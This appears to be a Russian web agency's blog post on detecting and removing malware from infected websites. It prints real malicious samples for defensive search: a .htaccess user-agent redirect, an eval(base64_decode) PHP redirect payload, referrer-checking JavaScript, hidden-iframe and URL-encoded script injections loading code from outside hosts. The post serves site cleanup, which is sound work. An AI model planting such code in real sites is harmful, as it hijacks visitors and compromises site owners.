strokoff

Сайт заражен вирусом — что делать?

Вирусы на сайтеВ ходе нашей работы над сайтами клиентов, приходится сталкиваться с различного вида зараженными сайтами и лечить их от вирусов.Обычно вирусы подставляют на сайт клиента редирект на другой сайт и порой могут быт устроены достаточно хитрым образом. К примеру редирект с зараженного сайта может происходить только для мобильных систем или же редирект с сайта пользователей с поисковых систем.
Если же зайти на сайт напрямую, он будет работать отлично, сделано это специально для того, чтобы владелец сайта как можно дольше не замечал вируса на своем сайте.  Последствия продолжительного нахождения вируса на сайте могут быть весьма плачевными вплоть до получения бана со стороны поисковых систем, проблема конечно решаема, но на снятие бана нужны месяцы.

Наиболее часто подвергаются взлому сайты на cms системе Joomla 1.5, так что рекомендуем веб-мастерам переводить свои сайты на более новые версии 2.5 и 3. При заражении сайта вирусом, не обязательно должен быть взломан сам сайт, встречаются случаи, что заражая 1 сайт на аккаунте хостинга, автоматически заражаются все сайты на аккаунте, так что при поиске вируса и вредоносного кода стоит обратить внимание на все сайты аккаунты.

В данной статье я расскажу о необходимых действиях, которые необходимо выполнить, если ваш сайт был заражен. Оговорюсь заранее, что статья будет полезна больше веб-мастерам, если вы не хотите заморачиваться с изучением кода сайта и не умеете этого делать, но ваш сайт заражен. Лучше сразу обращайтесь к нам =) и мы вам поможем без лишних напряжений с вашей стороны.

Первое, что необходимо сделать, когда вы увидели, что ваш сайт заражен вирусом, это сменить все пароли от MYSQL, FTP, администраторских панелей на сайте, хостинг панели и также проверить все допустимые FTP аккаунты для хостинга. Далее же следует искать сам вредоносный код на сайте. Некоторые советуют скачивать бекап себе на сайт и делать поиск по файлам, но данный процесс может быть достаточно трудоемким.  Для облегчения поиска внутри файлов сайта, выкладываю скрипт поиска и замены внутри файлов по сайту.

Скачать архив с replace.php

Закидываем скрипт в корневую папку вашего сайта и не забываем внутри файла replace.php сменить пароль на свой. Запустить скрипт можно обратившись к нему напрямую с паролем — http://mysite.ru/replace.php?pas=вашпароль

При поиске вредоносного кода стоит отметить характер перенаправлений.

В первую очередь стоит проверить файл .htaccess на наличие сторонних редиректов.


RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
/*Тут может быть большой список проверки юзер агентов*/
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://operabwo.ru [L,R=302]

Если же с .htaccess все в порядке то заражены могу оказаться файлы .php и .js

В php конструкции необходимо выполнить поиск для следующего совпадения:


eval(base64_decode

С вариантами пробелов между ковычками. Сама по себе функция base64_decode безопасна, но с использованием eval() делает код уязвимым. Одним из популярных шелов на сайт заливают FilesMan — попробуйте поискать в том числе и его.

Пример одного из найденных вирусов


eval(base64_decodeDQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhbmRleC5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtYWlsLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm1zbiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vayIpKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsJCQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ29vb29nbGUub3NhLnBsLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ));

Для случаев, когда перенаправление пользователей  происходит при переходе с поисковых систем, обычно используется javascript virus проверяющий referrer пользователя и делающий редирект


var refarray = new Array();

refarray["google."] = "1";

refarray["bing."] = "2";
refarray["yandex."] = "3";
refarray["rambler."] = "4";
refarray["mail."] = "5"
for (var i in refarray) {
// if (document.referrer.indexOf(i) != -1) document.location.replace(unescape('%68%74%74%70%3A%2F%2F%76%69%63%63%72%61%76%65%6E%2E%63%6F%2E%75%6B%2F%69%6D%61%67%65%73%2F%2E%62%61%63%6B%75%70%2F%64%6F%62%72%6F%2E%68%74%6D%6C'));
}

Для выявления подобного скрипта стоит искать в файлах строки с содержанием проверки  if (document.referrer  ( не забываем использовать варианты с пробелами в скобках.

Также с помощью javascript могут добавлять ифреймы и другие баннеры на сайт

пример


document.write('<iframe style="position:fixed;top:0px;left:-550px;" src="вредоносныйсайт" height="500" width="500"></iframe>');

Добавлять html на страницу через js могут и в не явном виде. Еще один пример js ифрейма


document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%72%73%6F%66%74%65%63%68%2E%69%6E%2F%73%79%73%74%65%6D%2F%66%6F%6E%74%73%2F%2E%74%74%66%2F%66%6F%6E%74%2E%6A%73%20%74%79%70%65%3D%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E'));

Вот еще распространенный код подключаемого внешнего файла js


<script src=http://brsoftech.in/system/fonts/.ttf/font.js type=text/javascript></script>

Данный скрипт легко найти, просмотрев часть html кода страницы и выполнив поиск по содержимому файлов с частью html кода ифрейма или баннера.

Надеюсь данная информация будет полезна для веб мастеров. Если же вы не хотите осваивать подобные премудрости поиска вирусов на сайте, вы всегда можете обратиться к нам и мы поможем вам избавиться от вредоносного кода и устранить уязвимости на сайте.

UPD 03.02.2013

Чуть исправил файл replace.php для «лучшего понимания»


Последняя редакция 26 января, 2023 в 02:01